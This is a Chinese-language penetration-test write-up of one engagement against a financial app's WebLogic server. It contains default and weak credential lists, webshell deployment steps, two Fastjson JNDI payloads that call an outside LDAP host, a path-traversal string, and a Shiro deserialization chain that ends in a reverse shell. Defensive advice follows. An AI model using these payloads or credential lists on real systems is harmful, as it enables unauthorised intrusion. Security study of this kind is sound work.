记一次运气爆棚的渗透测试
字数 2112 2025-08-20 18:17:47
WebLogic渗透测试实战教学文档
前言
本教学文档基于一次真实的金融类App渗透测试案例,详细记录了从WebLogic弱口令到最终获取系统权限的全过程。文档涵盖了WebLogic、Fastjson、Shiro等多个组件的漏洞利用方法,适合中高级安全研究人员学习参考。
1. WebLogic弱口令利用
1.1 识别WebLogic服务
- 通过App通信请求发现7002端口
- 访问
/console路径确认WebLogic管理界面 - 确认版本:10.3.6.0
1.2 弱口令尝试
- 常用组合尝试:
- weblogic/weblogic123(成功)
- weblogic/weblogic
- weblogic/Oracle123
- system/Password1
- 注意:10.3.6.0版本的jar包可能未生效,不要依赖特定漏洞利用包
2. 通过WebLogic后台获取Shell
2.1 部署War包
- 登录WebLogic管理后台
- 导航至"部署"页面
- 上传预制的War格式WebShell
- 完成部署并访问对应URL
2.2 替代方法
- 使用WebLogic已知漏洞直接获取Shell(如CVE-2020-14882等)
- 通过反序列化漏洞直接执行命令
3. Fastjson远程命令执行
3.1 发现Fastjson漏洞
- 在站点lib目录发现fastjson 1.1.39版本
- 存在debug测试页面,增加利用可能性
3.2 漏洞利用尝试
1.2.47版本payload失败:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://dnslog",
"autoCommit": true
}
}
1.2.45版本payload成功:
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://dnslog"
}
}
3.3 利用要点
- 不同版本Fastjson需要尝试不同payload
- 准备DNSLog或LDAP服务接收回调
- 可结合JNDI注入工具实现RCE
4. 任意文件上传漏洞
4.1 发现漏洞
- 找到文件上传接口:
/file/upload.do - 代码审计发现无任何过滤措施
4.2 利用限制
- 文件被上传到临时目录
/temp - 无法直接访问,需要结合其他漏洞利用
4.3 绕过思路
- 尝试路径遍历:
../../webapps/ROOT/ - 结合文件包含漏洞
- 利用竞争条件在文件删除前访问
5. 后台弱口令漏洞
5.1 信息收集
- 从WebLogic部署信息获取第二个站点上下文
- 访问后为登录页面
5.2 数据库信息利用
- 从配置文件中获取数据库连接信息
- 尝试连接但发现数据加密
- 在Oracle目录下找到历史SQL文件
5.3 弱口令破解
- 发现admin用户
- MD5解密得到密码:admin123
- 其他常见密码组合:
- admin/admin
- admin/123456
- admin/password
6. SQL注入漏洞
6.1 漏洞发现
- 后台搜索功能存在注入
- 测试payload:
'引发错误
6.2 利用方法
- 使用常规SQL注入技术:
- 联合查询
- 布尔盲注
- 时间盲注
- 工具推荐:sqlmap
7. Shiro反序列化命令执行
7.1 环境分析
- lib目录发现低版本Shiro
- 使用默认密钥
- commons-beanutils版本为1.8.3
7.2 利用挑战
- 标准ysoserial工具链不兼容:
- CommonsBeanutils1依赖commons-beanutils 1.9.2
- 与目标环境1.8.3版本不匹配
7.3 解决方案
- 修改ysoserial源码:
- 将commons-beanutils依赖改为1.8.3
- 重新编译打包
- 使用CommonsBeanutils1链生成payload
- 通过Shiro的rememberMe功能发送恶意cookie
7.4 成功利用
- 获取反弹shell
- 权限提升至系统权限
8. 总结与防御建议
8.1 渗透测试要点总结
- 不要忽视基本漏洞(如弱口令)
- 组件版本信息至关重要
- 工具可能需要针对环境定制
- 多个漏洞组合利用可提高成功率
8.2 防御建议
WebLogic:
- 修改默认密码
- 及时安装补丁
- 限制管理界面访问
Fastjson:
- 升级到最新安全版本
- 使用安全模式
Shiro:
- 使用随机密钥而非默认密钥
- 升级到修复版本
通用防御:
- 输入验证和过滤
- 最小权限原则
- 定期安全审计
9. 工具与资源
-
WebLogic利用工具:
- WeblogicScanner
- CVE-2020-14882利用脚本
-
Fastjson利用工具:
- fastjson_tool
- JNDI注入工具
-
Shiro利用工具:
- shiro_attack
- 修改版ysoserial
-
其他:
- sqlmap
- Burp Suite
- DNSLog平台
附录:常见问题解答
Q: 为什么1.2.47的Fastjson payload不工作而1.2.45的可以?
A: 不同版本Fastjson对payload的解析和黑名单实现不同,需要针对目标版本尝试不同payload。
Q: 如何确定Shiro的密钥?
A: 可以通过以下方式:
- 源代码审计
- 配置文件查找
- 使用shiro_attack等工具爆破常见密钥
Q: 文件上传到临时目录如何利用?
A: 可能的利用方式:
- 结合文件包含漏洞
- 竞争条件利用
- 配合其他漏洞如路径遍历